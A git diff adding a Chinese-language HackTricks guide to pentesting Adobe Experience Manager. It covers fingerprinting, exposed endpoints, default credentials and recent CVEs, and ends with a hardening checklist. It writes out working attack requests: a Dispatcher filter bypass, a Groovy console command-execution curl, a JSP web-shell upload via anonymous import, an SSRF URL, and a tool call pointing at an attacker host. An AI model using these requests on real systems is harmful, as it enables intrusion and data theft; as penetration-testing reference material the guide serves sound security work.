diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 296f342eb..353646c33 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -通过 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) 查找漏洞和配置错误 +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级内容管理系统,运行在 Apache Sling/Felix (OSGi) 和 Java 内容库 (JCR) 之上。 +> 从攻击者的角度来看,AEM 实例经常暴露危险的开发端点、弱 Dispatcher 规则、默认凭据以及每季度修补的众多 CVE。 + +下面的检查清单专注于 **外部可达(无认证)攻击面**,在真实的渗透测试中不断出现(2022-2025)。 + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +其他快速指标: +* `/etc.clientlibs/` 静态路径存在(返回 JS/CSS)。 +* `/libs/granite/core/content/login.html` 登录页面带有“Adobe Experience Manager”横幅。 +* `` HTML 底部的注释。 + +--- + +## 2. 高价值未认证端点 + +路径 | 获取内容 | 备注 +---- | ------------- | ----- +`/.json`, `/.1.json` | 通过 **DefaultGetServlet** 获取 JCR 节点 | 通常被阻止,但 *Dispatcher bypass*(见下文)有效。 +`/bin/querybuilder.json?path=/` | QueryBuilder API | 页面树、内部路径、用户名泄露。 +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 控制台 | 默认403;如果暴露且找到凭据 ⇒ bundle-upload RCE。 +`/crx/packmgr/index.jsp` | 包管理器 | 允许认证的内容包 → JSP 负载上传。 +`/etc/groovyconsole/**` | AEM Groovy 控制台 | 如果暴露 → 任意 Groovy / Java 执行。 +`/libs/cq/AuditlogSearchServlet.json` | 审计日志 | 信息泄露。 +`/libs/cq/ui/content/dumplibs.html` | ClientLibs 转储 | XSS 向量。 + +### Dispatcher bypass 技巧 +大多数生产网站位于 *Dispatcher*(反向代理)后面。其过滤规则可以通过在分号或编码换行符后附加允许的静态扩展来绕过: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +单个请求如上常常会泄露用户个人资料节点及电子邮件地址。P-T Partners 发布了关于此弱点的良好指导。 【】 + +--- + +## 3. 常见的错误配置(在2025年仍然存在) + +1. **匿名POST servlet** – `POST /.json` 与 `:operation=import` 允许您植入新的JCR节点。 在Dispatcher中阻止 `*.json` POST可以修复此问题。 【】 +2. **全世界可读的用户资料** – 默认ACL在 `/home/users/**/profile/*` 上授予每个人 `jcr:read` 权限。 +3. **默认凭据** – `admin:admin`,`author:author`,`replication:replication`。 +4. **WCMDebugFilter** 启用 ⇒ 通过 `?debug=layout` 反射型XSS(CVE-2016-7882,仍在遗留的6.4安装中发现)。 +5. **Groovy控制台暴露** – 通过发送Groovy脚本进行远程代码执行: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. 最近的漏洞(服务包节奏) + +季度 | CVE | 受影响版本 | 影响 +------- | --- | -------- | ------ +2024年12月 | **CVE-2024-43711** | 6.5.21及更早版本 | 不当输入验证 → **任意代码执行**(需要低权限认证)。 【】 +2024年12月 | CVE-2024-43724/26 | 6.5.21及更早版本 | 移动页面向导中的DOM / 存储型XSS。 【】 +2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 通过精心制作的URL进行基于DOM的XSS。 【】 +2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 加密设计缺陷 → 秘密解密(需要低权限凭据)。 【】 + +始终检查与客户的服务包匹配的*APSB*公告,并请求最新的 **6.5.22** 或 *Cloud Service 2024.11*。 + +--- + +## 5. 利用片段 + +### 5.1 通过dispatcher绕过 + JSP上传的RCE +如果允许匿名写入: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +现在请求 `/content/evil.jsp` – JSP 以 AEM 进程用户身份运行。 + +### 5.2 SSRF 到 RCE(历史 < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +来自 **aem-hacker** 的 `aem_ssrf2rce.py` 自动化整个链条。 【】 + +--- + +## 6. 工具 + +* **aem-hacker** – 瑞士军刀式枚举脚本,支持调度器绕过、SSRF 检测、默认凭据检查等。 +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **内容暴力破解** – 递归请求 `/_jcr_content.(json|html)` 以发现隐藏组件。 +* **osgi-infect** – 如果凭据可用,通过 `/system/console/bundles` 上传恶意 OSGi 包。 + +--- + +## 7. 加固检查清单(用于报告的建议) + +1. 保持实例在 **最新的累积服务包** 上(截至 2025 年 7 月:6.5.22)。 +2. 移除/轮换默认账户;强制实施 SSO/SAML。 +3. 收紧 **调度器过滤器** – 拒绝 `;`、编码换行符,以及匿名用户的 `*.json` 或 `*.querybuilder.json`。 +4. 禁用或保护控制台(`/system/console`、`/crx/*`、`/etc/groovyconsole`),使用 IP 允许列表。 +5. 应用 Adobe 提供的 *匿名权限加固* 包。 + +## 参考 + +* Adobe 安全公告 APSB24-69 – “Adobe Experience Manager 的安全更新(2024 年 12 月)”。 +* 0ang3el – aem-hacker 工具(GitHub)。 +{{#include ../../banners/hacktricks-training.md}}